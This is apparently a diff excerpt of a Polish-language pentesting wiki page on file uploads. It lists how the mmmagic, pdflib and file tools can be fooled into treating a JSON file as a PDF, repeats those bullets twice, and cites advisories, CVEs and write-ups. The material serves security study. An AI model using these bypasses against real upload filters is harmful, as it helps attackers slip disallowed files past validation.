Jak uniknąć wykrywania typu pliku przez upload poprawnego pliku JSON nawet jeśli nie jest dozwolony, podszywając go pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście)
|
||||
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za PDF (zobacz przykład w poście)
|
||||
- **`file` binary**: Program może odczytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, tak by nie mógł sparsować zawartości jako JSON, a następnie w środku JSON umieścić początkową część prawdziwego PDF — narzędzie uzna go wtedy za PDF
|
||||
- **`mmmagic` library**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to uznawane za ważne (zobacz przykład w poście)
|
||||
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za pdf (zobacz przykład w poście)
|
||||
- **`file` binary**: Potrafi odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż ta wartość, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF — wówczas zostanie uznany za PDF
|
||||
|
||||
## Źródła
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -357,6 +400,9 @@ Jak uniknąć wykrywania typu pliku przez wgranie poprawnego pliku JSON, nawet g
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
|
Loading…
x
Reference in New Issue
Block a user